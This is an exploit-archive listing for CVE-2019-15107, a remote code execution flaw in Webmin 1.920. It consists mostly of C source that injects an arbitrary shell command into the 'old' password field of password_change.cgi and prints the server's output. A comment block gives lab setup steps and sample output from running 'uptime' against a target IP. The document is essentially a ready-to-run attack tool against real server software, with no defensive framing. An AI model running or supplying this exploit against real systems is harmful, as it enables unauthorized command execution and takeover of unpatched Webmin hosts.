Webmin 1.920 Remote Code Execution

Webmin version 1.920 remote code execution exploit that leverages the vulnerability noted in CVE-2019-15107.


MD5 | 4a84bafb5f4c4384a734db4fa8f37fb5

////////////////////////////////////////////////////////////////////////////////////////////////
// Webmin 1.920 Remote Code Execution Exploit CVE_2019_15107.c muBoT Cut
// written in C by BoSSaLiNiE
//
// Step 1
// wget https://netix.dl.sourceforge.net/project/webadmin/webmin/1.920/webmin_1.920_all.deb
//
// Step 2
// dpkg -i webmin_1.920_all.deb
//
//
// Step 3
// sed -i s/passwd_mode=0/passwd_mode=2/g /etc/webmin/miniserv.conf;service webmin restart
//
// Step 4
// gcc CVE_2019_15107.c -o CVE_2019_15107 -lcurl
//
// ./CVE_2019_15107 10.0.0.14 "uptime"
// https://10.0.0.14:10000/password_change.cgi
// 16:16:38 up 22:15, 0 user, load average: 0.00, 0.00, 0.00
//
///////////////////////////////////////////////////////////////////////////////////////////////

#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>
#include <netinet/in.h>
#include <net/if.h>
#include <arpa/inet.h>

int main(int argc,char* argv[])
{
CURLU *h;
CURL *curl;
CURLcode res;
struct sockaddr_in servaddr; /* socket address structure */
curl_socket_t sockfd;

char buffer[200];
char scanip[20];
char *host;
char *path;
char ref[100];
char url[100];


struct string {
char *ptr;
size_t len;
};

void init_string(struct string *s) {
s->len = 0;
s->ptr = malloc(s->len+1);
if (s->ptr == NULL) {
fprintf(stderr, "malloc() failed\n");
exit(EXIT_FAILURE);
}
s->ptr[0] = '\0';
}

size_t writefunc(void *ptr, size_t size, size_t nmemb, struct string *s)
{
size_t new_len = s->len + size*nmemb;
s->ptr = realloc(s->ptr, new_len+1);
if (s->ptr == NULL) {
fprintf(stderr, "realloc() failed\n");
exit(EXIT_FAILURE);
}
memcpy(s->ptr+s->len, ptr, size*nmemb);
s->ptr[new_len] = '\0';
s->len = new_len;

return size*nmemb;
}


curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl) {
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 1L);
struct curl_slist *headers=NULL;


struct string s;
init_string(&s);

headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate");
headers = curl_slist_append(headers, "Accept: */*");
headers = curl_slist_append(headers, "Accept-Language: en");
headers = curl_slist_append(headers, "User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)");
headers = curl_slist_append(headers, "Connection: close");
headers = curl_slist_append(headers, "Cookie: redirect=1; testing=1; sid=x; sessiontest=1");
// headers = curl_slist_append(headers, "Referer: https://192.168.233.134:10000/session_login.cgi");
headers = curl_slist_append(headers, "Content-Type: application/x-www-form-urlencoded");
headers = curl_slist_append(headers, "Content-Lenght: 60");
headers = curl_slist_append(headers, "cache-control: no-cache");

sprintf(url, "https://%s:10000/password_change.cgi", argv[1]);
sprintf(ref, "https://%s:10000/session_login.cgi", argv[1]);

curl_easy_setopt(curl, CURLOPT_REFERER, ref);
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers );
curl_easy_setopt(curl, CURLOPT_VERBOSE, 0);
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writefunc);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &s);

char b64str[100000] = {0};
sprintf(b64str, "user=rootxx&pam=&expired=2&old=%s&new1=test2&new2=test2",argv[2]);

curl_easy_setopt(curl, CURLOPT_CUSTOMREQUEST, "POST");
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, b64str);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0);
// curl_easy_setopt (curl, CURLOPT_TIMEOUT, 10L);

res = curl_easy_perform(curl);

//////////////////////////FILTER//////////////////////////

// puts(s.ptr);
const char *x = s.ptr;
const char *PATTERN1 = "<center><h3>Failed to change password : The current password is incorrect";
const char *PATTERN2 = "</h3></center>";

char *target = NULL;
char *start, *end;

if ( start = strstr( x, PATTERN1 ) )
{
start += strlen( PATTERN1 );
if ( end = strstr( start, PATTERN2 ) )
{
target = ( char * )malloc( end - start + 1 );
memcpy( target, start, end - start );
target[end - start] = '\0';
}
}

if ( target )
puts(url);
puts( target );

free( target );

free(s.ptr);


}
return 0;
}


Related Posts